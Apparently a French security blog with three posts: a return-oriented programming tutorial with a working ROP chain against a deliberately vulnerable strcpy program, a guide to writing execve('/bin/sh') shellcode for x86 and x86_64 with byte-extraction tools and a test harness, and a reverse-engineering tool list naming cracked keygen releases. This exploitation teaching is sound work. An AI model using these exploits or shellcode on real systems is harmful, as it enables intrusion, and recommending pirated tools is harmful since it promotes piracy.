Return-Oriented Programming sur GNU/Linux

*** Qu’est ce que le Return-Oriented Programming ? ***

Le ROP est une technique d’exploitation sans injection de code. Cette technique permet de bypasser certaines protections contre les attaques de type buffer overflow. Ces restrictions sont entre autre le NX (Never eXecute) bit qui désactive l’exécution de code sur la stack et l’aslr (Address Space Layout Randomization) qui randomize les positions des zones de données clés d’un programme dans l’espace d’adressage.

*** Concept d’un ROP ***

Le concept d’un ROP est simple mais délicat : il s’agit d’utiliser de petites séquences d’instructions déjà disponibles dans le binaire ou dans les librairies qui lui sont linkées. Chaque séquence d’instructions doit se terminer par l’instruction « ret » (0xc3) afin de pouvoir exécuter l’intégralité de ces séquences. C’est pourquoi ce type d’exploitation est appelé « Return-Oriented ».

En programmation ordinaire, le pointeur d’instruction, soit le registre eip, détermine quelle instruction va être récupérée et exécutée. Une fois l’instruction exécutée par le processeur, eip est automatiquement incrémenté et pointe donc sur la prochaine instruction.

En programmation de type ROP, c’est le pointeur de stack, soit le registre esp qui détermine quelle séquence d’instructions va être récupérée et exécutée. Mais contrairement à eip, le registre esp n’est pas automatiquement incrémenté. On ne passe donc pas à la prochaine instruction spontanément, c’est grâce à l’instruction ret que l’on va passer à la séquence d’instructions suivante. Pour rappel, à l’appel de l’instruction ret, le contenu de la stack (soit l’adresse de la prochaine séquence d’instructions) est dépilé puis exécuté.

Une séquence d’instructions se terminant par un ret est appelée un « gadget ».

*** Les ROP gadgets ***

Comme nous venons de le voir, un ROP gadget est une séquence d’instructions se terminant par l’instruction « ret ». Il existe deux types de gadgets :

  • Les « intended gadgets »
  • Ce sont les gadgets provenant d’instructions directement fournis par le développeur.

    Exemple : (from objdump -d ./vuln) :

    1
    2
     8051f60:   31 c0                   xor    eax,eax
     8051f62:   c3                      ret

    Ici à l’adresse 0x08051f60, nous avons le gadget « xor eax, eax » (31 c0 c3).

  • Les « unintended gadgets »
  • Ce sont à l’inverse des gadgets non fournis par le développeur, ils sont donc « involontaires ».

    Exemple : (from objdump -d ./vuln) :

    1
    2
     80b7af3:   8b 44 90 40             mov    eax,DWORD PTR [eax+edx*4+0x40]
     80b7af7:   c3                      ret

    Ici et « involontairement » nous avons le gadget « inc eax » (40 c3) à l’adresse 0x080b7af6 (0x080b7af3 + 3).

    *** Comment trouver un gadget ? ***

    Pour trouver les gadgets disponibles dans un binaire, il faut lire la section .text avec par exemple readelf ou un désassembler pour rechercher toutes les instructions « ret » (0xc3). Ensuite, pour chaque « ret » trouvé, on regarde en arrière pour savoir si les bytes qui le précèdent forment une ou des séquences d’instructions valides. Une fois tous les gadgets trouvés et notés, il ne reste plus qu’à former notre shellcode.

    Pour faciliter la tache, il existe de nombreux outils pour trouver les gadgets disponibles dans un binaire. Celui que j’utilise est le suivant : https://github.com/JonathanSalwan/ROPgadget/tree/master

    *** Exemple d’exploitation ***

    L’exploitation va consister à exécuter ‘execve("/bin/sh", 0, 0);’ depuis le programme vulnérable suivant :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char *argv[])
    {
        char buf[128];
       
        if (argc != 2)
        {
            fprintf(stderr, "supply the string in argument\n");
            return 1;
        }
       
        else
            strcpy(buf, argv[1]);
           
        return (0);
    }

    Dans cet exemple, pour avoir plus de code dans la section .text, je vais le compiler avec l’option -static. Nous travaillerons ici sur du 32 bits.

    1
    $ gcc -static -m32 vuln.c -o vuln

    Comme on peut le voir dans ce tutoriel : https://www.re-xe.com//shellcode-x86-et-x86_64/, on doit placer la string « /bin/sh » dans le premier argument ebx, 0 dans ecx et edx puis le syscall 11 (0xb) dans eax pour exécuter notre shell grâce à l’instruction int 0x80.

    Premièrement, on doit trouver un endroit dans la mémoire où écrire cette string « /bin/sh ». Une façon d’y parvenir est d’utiliser le segment de données, autrement dit la section « .data ».

    Pour la trouver on utilise gdb :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    $ gdb -q ./vuln
    Reading symbols from ./vuln...(no debugging symbols found)...done.
    (gdb) info file
    Symbols from "/home/opc0de/ROP/vuln".
    Local exec file:
        '/home/opc0de/ROP/vuln', file type elf32-i386.
        Entry point: 0x8048bdc
        0x080480f4 - 0x08048114 is .note.ABI-tag
        0x08048114 - 0x08048138 is .note.gnu.build-id
        0x08048138 - 0x080481b0 is .rel.plt
        0x080481b0 - 0x080481d3 is .init
        0x080481e0 - 0x080482d0 is .plt
        0x080482d0 - 0x080bf39c is .text
        0x080bf3a0 - 0x080bf416 is __libc_thread_freeres_fn
        0x080bf420 - 0x080c0dd2 is __libc_freeres_fn
        0x080c0dd4 - 0x080c0de8 is .fini
        0x080c0e00 - 0x080d7ee4 is .rodata
        0x080d7ee4 - 0x080d7ee5 is .stapsdt.base
        0x080d7ee8 - 0x080d7eec is __libc_thread_subfreeres
        0x080d7eec - 0x080d7f18 is __libc_subfreeres
        0x080d7f18 - 0x080d7f1c is __libc_atexit
        0x080d7f1c - 0x080e5fec is .eh_frame
        0x080e5fec - 0x080e6082 is .gcc_except_table
        0x080e7f4c - 0x080e7f5c is .tdata
        0x080e7f5c - 0x080e7f74 is .tbss
        0x080e7f5c - 0x080e7f64 is .init_array
        0x080e7f64 - 0x080e7f6c is .fini_array
        0x080e7f6c - 0x080e7f70 is .jcr
        0x080e7f80 - 0x080e7ff0 is .data.rel.ro
        0x080e7ff0 - 0x080e7ff8 is .got
        0x080e8000 - 0x080e8048 is .got.plt
        0x080e8060 - 0x080e8f88 is .data
        0x080e8fa0 - 0x080ea58c is .bss
        0x080ea58c - 0x080ea5a4 is __libc_freeres_ptrs
    (gdb)

    La section .data se trouve donc à l’adresse 0x080e8060.

    Cherchons maintenant la taille exacte de la chaîne de caractère à donner en argument pour écraser eip et obtenir notre erreur de segmentation.

    1
    2
    3
    4
    5
    6
    7
    8
    $ gdb -q ./vuln
    Reading symbols from ./vuln...(no debugging symbols found)...done.
    (gdb) r `python -c 'print "a" * 140 + "bcde"'`
    Starting program: /home/opc0de/ROP/vuln `python -c 'print "a" * 140 + "bcde"'`

    Program received signal SIGSEGV, Segmentation fault.
    0x65646362 in ?? ()
    (gdb)

    Le programme plante sur l’adresse 0x65646362 qui correspond dans la table ASCII à : ‘e’ pour 0x65, à ‘d’ pour 0x64, à ‘c’ pour 0x63 et ‘b’ pour 0x62.
    140 est donc la taille de padding exacte à donner au buffer avant de pouvoir écraser notre registre eip.

    Pour la suite je vais détailler l’exploit obtenu à partir de l’outil ROPgadget :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    #!/usr/bin/python

    from struct import pack

    p = 'a'*140 # Padding goes here
    # Dans cette première partie on définit tout simplement le padding

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8060) # @ .data
    # Après ces deux lignes le registre edx pointe sur la section .data

    p += pack("<I", 0x080bcbb6) # pop eax ; ret
    p += "/bin" # /bin
    # Le registre eax contient maintenant la string "/bin"

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # On place la string "/bin" dans edx, donc dans .data

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8064) # @ .data + 4
    # Le registre edx pointe sur .data + 4

    p += pack("<I", 0x080bcbb6) # pop eax ; ret
    p += "//sh" # //sh
    # Maintenant eax contient la string "//sh", le deuxième "/" est utilisé pour avoir exactement 4 octets dans eax

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # La section .data contient donc maintenant "/bin//sh"

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Le registre edx pointe sur la section .data + 8

    p += pack("<I", 0x08051f60) # xor eax, eax ; ret
    # Le registre eax est remis à 0

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # La section .data contient maintenant la string null-terminated "/bin//sh"

    p += pack("<I", 0x080481d1) # pop ebx ; ret
    p += pack("<I", 0x080e8060) # @ .data
    # Le registre ebx utilisé comme premier argument pour execve contient ce que nous venons de placer dans la section .data, soit notre string null-terminated "/bin//sh"

    p += pack("<I", 0x080de179) # pop ecx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Le registre ecx utilisé comme deuxième argument contient maintenant 0

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Même chose pour le troisième et dernier argument edx

    p += pack("<I", 0x08051f60) # xor eax, eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    # On set eax à 0 et on l'increment jusqu'à 11 (0xb), notre syscall

    p += pack("<I", 0x080491cd) # int 0x80
    # on exécute le syscall

    print p
    # et on termine par afficher le tout.

    Pour finir, exécutons notre exploit en tant qu’argument à notre programme vulnérable :

    1
    2
    $ ./vuln `./sploit.py`
    sh-4.2$

    Parfait, notre shell a bien été exécuté 🙂

    Publié dans Exploitation, Reversing | Marqué avec | Laisser un commentaire

    Les shellcodes x86 et x86_64 sur GNU/Linux

    0x1 – Définition

    Les shellcodes sont utilisés le plus souvent comme code arbitraire ou malveillant que l’on injecte dans la mémoire d’un programme vulnérable.

    Un shellcode a la forme d’une chaîne de caractères sous forme hexadécimale contenant en réalité une suite d’instructions assembleur permettant le plus souvent de générer un shell ou une invite de commande.

    0x2 – Les appels systèmes

    Pour concevoir un shellcode GNU/Linux on utilise les appels système (syscall) qui sont idéntifiés par des numéros et doivent être placés dans le registre eax en x86 et rax en x86_64.

    Certains syscall ont besoin d’arguments pour pouvoir fonctionner, ces arguments lorsqu’ils ne dépassent pas le nombre de 6 sont placés dans des registres.

    Sur une architecture x86, le premier registre d’argument est le registre ebx, le second est ecx, le troisème edx, le quatrième esi, puis edi et le dernier est le registre ebp.

    Alors que pour une architecture x86_64, les registres sont dans l’odre: rdi, rsi, rdx, rcx, r8, et r9.

    Pour les syscall nécessitants plus de 6 arguments, une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.

    Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l’instruction « int 0x80 » en x86 et « syscall » en x86_64.

    Pour connaître le numéro ou identifiant d’un syscall, on peut regarder dans les fichiers « /usr/include/asm/unistd_32.h » et « /usr/include/asm/unistd_64.h » selon l’architecture.

    0x3 – Écriture du shellcode x86

    Dans ce document le but de notre shellcode sera de lancer un shell « /bin/sh ». Pour exécuter ce shell nous allons utiliser la fonction execve dont le prototype est :

    1
    2
    int execve(const char *filename, char *const argv[],
               char *const envp[]);

    On peut voir dans ce prototype que la fonction execve prend 3 arguments. Le premier : un pointeur vers la string contenant la commande à exécuter, le deuxième : un tableau d’arguments pour la commande et le troisième : un tableau de variables d’environnement.

    Avant de s’attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C :

    1
    2
    3
    4
    5
    6
    #include <unistd.h>

    void main(void)
    {
        execve("/bin/sh", 0, 0);
    }

    Passons maintenant au code assembleur.

    Avec la commande « grep » on peut facilement trouver le syscall d’execve :

    1
    2
    $ grep execve /usr/include/asm/unistd_32.h
    #define __NR_execve 11

    En ce qui concerne la string « /bin/sh » dont nous avons besoin pour la fonction execve(), il existe deux restrictions :

  • On ne peut pas utiliser la section réservée aux données, celle nommée « .data » en assembleur.
  • Le shellcode ne doit pas contenir de NULL byte, donc on ne peut pas utiliser le caractère de fin de chaîne en C, à savoir : ‘\0’.
  • Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.

    Voici le code commenté de cette technique :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    section .text

    global _start

    _start:

    xor ebx,ebx ; on met ebx à 0, donc bl aussi
    jmp getString ; on jump sur getString

    getStringReturn:
    pop ecx ; on pop dans ecx le haut de la stack,
            ; soit le ptr sur notre string "hello world#"
    mov [ecx+11],bl ; on écrase le '#' par bl, donc 0

    getString:
    ; le call va pusher sur la stack l'adresse de l'instruction qui suit,
    ; soit l'adresse de notre string "hello world#"
    call getStringReturn
    db "hello world#"

    Nous avons donc maintenant toutes les connaissances nécessaires à l’écriture de notre shellcode devant exécuter « /bin/sh » grâce à la fonction execve() :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    section .text

    global _start

    _start:

    jmp GetString
     
    GetStringReturn:
    pop esi ; esi = ptr sur "/bin/sh#"
    xor eax,eax ; eax = 0
    mov byte [esi+7],al ; on écrase le '#' ; esi = ptr sur "/bin/sh"
    mov dword [esi+8],eax ; esi+8 = 0
     
    mov al, 0xb ; on place le syscall (11) dans eax
     
    lea ebx,[esi] ; premier argument = "/bin/sh"
    lea ecx,[esi+8] ; second argument = 0
    lea edx,[esi+8] ; troisième argument = 0
     
    int 0x80 ; on exécute le syscall
     
    GetString:
    call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
    db "/bin/sh#"

    On assemble ce code avec nasm de la façon suivante :

    1
    2
    $ nasm -f elf32 shellcode.asm
    $ ld shellcode.o -o shellcode -m elf_i386

    Maintenant il nous faut obtenir les bytes qui vont former notre shellcode pour pouvoir l’injecter dans la mémoire du programme vulnérable.

    On peut obtenir ces bytes avec l’outil objdump de cette façon :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    $ objdump -d ./shellcode

    ./shellcode:     file format elf32-i386


    Disassembly of section .text:

    08048060 <_start>:
     8048060:   eb 15                   jmp    8048077 <GetString>

    08048062 <GetStringReturn>:
     8048062:   5e                      pop    %esi
     8048063:   31 c0                   xor    %eax,%eax
     8048065:   88 46 07                mov    %al,0x7(%esi)
     8048068:   89 46 08                mov    %eax,0x8(%esi)
     804806b:   b0 0b                   mov    $0xb,%al
     804806d:   8d 1e                   lea    (%esi),%ebx
     804806f:   8d 4e 08                lea    0x8(%esi),%ecx
     8048072:   8d 56 08                lea    0x8(%esi),%edx
     8048075:   cd 80                   int    $0x80

    08048077 <GetString>:
     8048077:   e8 e6 ff ff ff          call   8048062 <GetStringReturn>
     804807c:   2f                      das    
     804807d:   62 69 6e                bound  %ebp,0x6e(%ecx)
     8048080:   2f                      das    
     8048081:   73 68                   jae    80480eb <GetString+0x74>
     8048083:   23                      .byte 0x23

    0x4 – get-shellcode-32

    On peut aussi utiliser mon outil « get-shellcode-32.c » qui affiche directement la string à placer dans l’exploit, voici le code de cet outil :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <elf.h>

    void print_shellcode_32 (unsigned char *data);

    int
    main (int argc, char *argv[])
    {
        int fd;
        struct stat sb;
        unsigned char *data;
        unsigned char *text;

        if (argc != 2) {
        fprintf (stderr, "usage: %s <bin>\n", argv[0]);
        return (1);
        }

        if ((fd = open (argv[1], O_RDONLY)) == -1) {
        perror ("error: open");
        exit (EXIT_FAILURE);
        }

        if ((fstat (fd, &sb)) == -1) {
        perror("error: fstat");
        exit (EXIT_FAILURE);
        }

        if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror ("error: mmap");
        exit (EXIT_FAILURE);
        }

        if((strncmp (data, ELFMAG, 4)) != 0) {
        fprintf (stderr, "error: bin: Not an ELF file\n");
        exit (EXIT_FAILURE);
        }

        if (data[EI_CLASS] == ELFCLASS32)
        print_shellcode_32 (data);
        else {
        fprintf (stderr, "error: bin: Unknown architecture\n");
        exit (EXIT_FAILURE);
        }
       
        close (fd);
       
        return 0;
    }

    void
    print_shellcode_32 (unsigned char *data)
    {
        Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data;
        Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff);
        unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
        unsigned char *pbyte;
        Elf32_Off offset = 0;
        uint32_t size = 0, n = 0;
        int i;

        for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
            offset  = shdr[i].sh_offset;
            size    = shdr[i].sh_size;
            break;
        }
        }

        if (!offset && !size) {
        fprintf (stderr, "error: bin: No .text section\n");
        exit (EXIT_FAILURE);
        }

        pbyte = data + offset;

        printf (""");

        while (n < size) {
        printf ("
    \\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15))
            printf ("
    "\n"");
        }

        if (n % 15)
        printf ("
    "");

        printf ("\n");
    }

    Exemple d’utilisation :

    1
    2
    3
    4
    $ ./get-shellcode-32 shellcode
    "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
    "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
    "\x69\x6e\x2f\x73\x68\x23"

    0x5 – Écriture du shellcode x86_64

    Ici le principe étant le même, on va simplement réécrire le même shellcode mais pour une architecture x86_64 :

    1
    2
    $ grep execve /usr/include/asm/unistd_64.h
    #define __NR_execve 59
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    section .text
     
    global _start
     
    _start:
     
    jmp GetString
     
    GetStringReturn:
    pop rbx ; rbx = ptr sur "/bin/sh#"
    xor rax,rax ; rax = 0
    mov byte [rbx+7],al ; on écrase le '#' ; rbx = ptr sur "/bin/sh"
    mov qword [rbx+8],rax ; rbx+8 = 0
     
    mov al, 0x3b ; on place le syscall (59) dans rax
     
    lea rdi,[rbx] ; premier argument = "/bin/sh"
    lea rsi,[rbx+8] ; second argument = 0
    lea rdx,[rbx+8] ; troisième argument = 0
     
    syscall ; on exécute le syscall
     
    GetString:
    call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
    db "/bin/sh#"

    On assemble cette fois-ci le code avec les deux commandes :

    1
    2
    $ nasm -f elf64 shellcode.asm
    $ ld shellcode.o -o shellcode -m elf_x86_64

    0x6 – Get-shellcode-64

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <elf.h>

    void print_shellcode_64 (unsigned char *data);

    int
    main (int argc, char *argv[])
    {
        int fd;
        struct stat sb;
        unsigned char *data;
        unsigned char *text;

        if (argc != 2) {
        fprintf (stderr, "usage: %s <bin>\n", argv[0]);
        return (1);
        }

        if ((fd = open (argv[1], O_RDONLY)) == -1) {
        perror ("error: open");
        exit (EXIT_FAILURE);
        }

        if ((fstat (fd, &sb)) == -1) {
        perror("error: fstat");
        exit (EXIT_FAILURE);
        }

        if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror ("error: mmap");
        exit (EXIT_FAILURE);
        }

        if((strncmp (data, ELFMAG, 4)) != 0) {
        fprintf (stderr, "error: bin: Not an ELF file\n");
        exit (EXIT_FAILURE);
        }

        if (data[EI_CLASS] == ELFCLASS64)
        print_shellcode_64 (data);
        else {
        fprintf (stderr, "error: bin: Unknown architecture\n");
        exit (EXIT_FAILURE);
        }
       
        close (fd);
       
        return 0;
    }

    void
    print_shellcode_64 (unsigned char *data)
    {
        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
        Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
        unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
        unsigned char *pbyte;
        Elf64_Off offset = 0;
        uint64_t size = 0, n = 0;
        int i;

        for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
            offset  = shdr[i].sh_offset;
            size    = shdr[i].sh_size;
            break;
        }
        }

        if (!offset && !size) {
        fprintf (stderr, "error: bin: No .text section\n");
        exit (EXIT_FAILURE);
        }

        pbyte = data + offset;

        printf (""");

        while (n < size) {
        printf ("
    \\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15))
            printf ("
    "\n"");
        }

        if (n % 15)
        printf ("
    "");

        printf ("\n");
    }

    Utilisation :

    1
    2
    3
    4
    $ ./get-shellcode-64 shellcode-64
    "\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
    "\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

    0x7 – Test du shellcode

    Si on veut tester les shellcodes, il faut passer par un programme C intermédiaire (test-shellcode.c) :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include <stdio.h>
    #include <string.h>
    #include <sys/mman.h>
     
    char sc[] = "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
                "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
                "\x69\x6e\x2f\x73\x68\x23";
     
    void main()
    {
        printf("sc length: %u\n", strlen(sc));

        void * a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ |
                        PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);

        ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
    }
    1
    2
    3
    $ ./test-shellcode
    sc length: 36
    sh-4.2$

    Voilà, on a bien obtenue notre shell « /bin/sh ». On a plus qu’à l’utiliser dans une exploitation de type buffer overflow par exemple.

    Publié dans Shellcode | Marqué avec , , , | Laisser un commentaire

    Guide à l’usage des débutants en RE

    Ce post a pour but de répondre à 90% des questions que les débutants posent à chaque fois. Il va traiter les outils et les ressources de base nécessaires pour une bonne progression dans le domaine du Reverse Engineering. N’hésitez pas à passer sur notre irc si vous avez des questions section « contact ». Une dernière chose enfin, prenez le temps de chercher sur google plus de 30 secondes, de réfléchir à votre problème, et de lire la documentation disponible avant de poser des questions au risque d’exaspérer les gens qui y répondent. Au passage, c’est un peu le but de ce post de répertorier le tout afin que je n’ai plus à répondre à ces questions, et cela devrait certainement aider quelques personnes.


    OUTILS DE BASE EN RE :

    Vous trouverez ici une liste avec les outils de base requis pour faire la plupart des actions communes dans toutes les disciplines liées au RE. Vous pouvez trouver une bonne partie des logiciels mentionnés ici. Attention, certains ne sont pas à jour / pas présents dans le repo, à vous d’utiliser un petit peu google pour récupérer les dernières versions.
     
     

    Editeur hexa :

    X-Ways.WinHex.v16.6.SR-4.Incl.Keymaker-ZWT, Hiew v8+
    Utilité : Analyse / édition de fichiers statiques ou d’exécutables.

     

    Debuggeurs :

    – OllyDbg v1.10 .
    En plugins : phant0m / strongOd + ollydump + godup + commandbar + odbgscript
    – OllyDbg v2.01g
    Utilité : Permettre une analyse en ‘live’ du programme, aussi appelée analyse dynamique. Phant0m est un plugin pour contourner des antidebuggers. OllyDump sert à dumper des programmes en mémoire. Godup nous servira pour charger des .map d’ida. OdbgScript sert à exécuter des ollyscripts.
    – Sysersoft.Syser.Kernel.Debugger.Enterprise.Edition.v1.99.1900.1220.Incl.KeyMaker-DVT
    Utilité : Permet de debugger des drivers, de s’attaquer au debugging en ring0.

     

    Désassembleur :

    – Ida RDW pack, soit :
    – Hex-Rays.IDA.Pro.Advanced.FLAIR.v6.1-RDW
    – Hex-Rays.IDA.Pro.Advanced.IDS.Utilities.v6.1-RDW
    – Hex-Rays.IDA.Pro.Advanced.LOADINT.v6.1-RDW
    – Hex-Rays.IDA.Pro.Advanced.SDK.v6.1-RDW
    – Hex-Rays.IDA.Pro.Advanced.TILIB.v6.1-RDW
    – Hex-Rays.IDA.Pro.Advanced.v6.1.TVision.v2009b.Source-RDW
    – Hex-Rays.IDA.Pro.Advanced.v6.1.Windows.incl.Hex-Rays.x86.Decompiler.v1.5.READ.NFO-RDW
    En plugins : idapython, findcrypt, Zynamics.BinDiff.v4.0.1.Incl.Keyfilemaker.and.Patch-EMBRACE
    En signatures : RESigs 0.18, des signatures pour delphi. On peut trouver beaucoup de signatures sur la RCE
    Collaborative Tool Library ou ici.
    Utilité : Permet de faire de l’analyse de programme en statique. Ida est un outil extrêmement puissant, mais difficile à maîtriser pour un débutant. Les plugins permettent encore d’étendre ses fonctions, tout comme pour OllyDbg. Idapython est très pratique pour exécuter des scripts python afin d’automatiser des tâches. Findcrypt sert à repérer les algorithmes cryptographiques et à les marquer. Bindiff permet de comparer deux exécutables entre eux pour déterminer les différences. Les signatures permettent quand à elles de nommer les fonctions reconnues de librairies, elles sont très utiles pour analyser du delphi ou des cibles utilisant des librairies cryptographiques.

     

    Décompilateurs :

    – Java : jdgui
    – vb6 : VB.Decompiler.Pro.v8.3.RETAIL.INCL_KEYGEN+PATCH-FFF
    – delphi : IDR, DeDe 3.5
    – apk : APKtoJava RC2
    Utilité : décompiler le code pour le retrouver sous une forme plus lisible et abordable que l’asm.

     

    PE :

    Explorer Suite, Lord PE 1.41 (Deluxe b), PETools.
    Utilité : Editer les propriétés d’un exécutable via son PE Header.

     

    IAT / Dump :

    ImpRec v1.7e, ImpREC Plugin Pack, CHimpREC
    Utilité : Reconstruire l’IAT de programmes unpackés. CHimpREC est utile pour l’unpacking x64.

     

    Scanners :

    PEiD 0.95, Protection ID 6.4, RDG Packer Detector
    Utilité : Détection de compilateurs / protections connues via signatures.

     

    Recherche de strings :

    Bintext, strings, hexdive
    Utilité : récupérer les SDR d’un fichier.

     

    Editeur de ressources :

    Reshacker v3.5
    Utilité : Editer les ressources d’un exécutable.

     

    Patcheur :

    duP 2.26
    Utilité : Pour générer des patchs.

     

    Monitoring :

    Process Explorer, Process Monitor, Regshot, API Monitor v2
    Utilité : Permet de surveiller et de monitorer l’environnement durant l’exécution d’un programme. Très utile dans le cas d’analyse de malwares.

     

    Réseau :

    Wireshark, NetworkMiner, Fiddler
    Utilité : Surveiller le réseau afin de découvrir le traffic d’applications. Utile en analyse de malwares.

     

    .NET :

    Red.Gate.Reflector.v7.5.2.1.Incl.Keygen-Lz0 / dotpeek, ILSpy, Reflexil, de4dot
    Utilité : Décompiler et désobfusquer du .net.

     

    Crypto / conversion :

    Keygenner Assistant v2.1.0, RSA-Tool, x3chun Crypto Searcher, x3chun Hash Calculation, SnD Reverser Tool 1.4
    Utilité : Utilitaires de conversion / de cryptographie. Indispensables.

     

    ASM :

    WinAsm Studio, MASM v10, nasm.
    Utilité : Conseillé, vous aurez certainement besoin à un moment ou à un autre de coder en asm

     

    Javascript :

    Malzilla 1.2, Revelo 0.4, Firebug
    Utilité : Désobfusquer du javascript. Utile en analyse de malwares.

     

    SWF :

    SWFTools, swfretools 1.10, Sothink.SWF.Decompiler.v7.3.4959-NGEN
    Utilité : Décompiler du flash. Utile en analyse de malwares.

     

    PDF :

    PDF Stream Dumper
    Utilité : Analyse de fichiers PDF. Utile en analyse de malwares.

     

    Autres :

    Python v2, UPX 3.07, Autoruns, Kernel Detective v1.4.1, OSRLoader
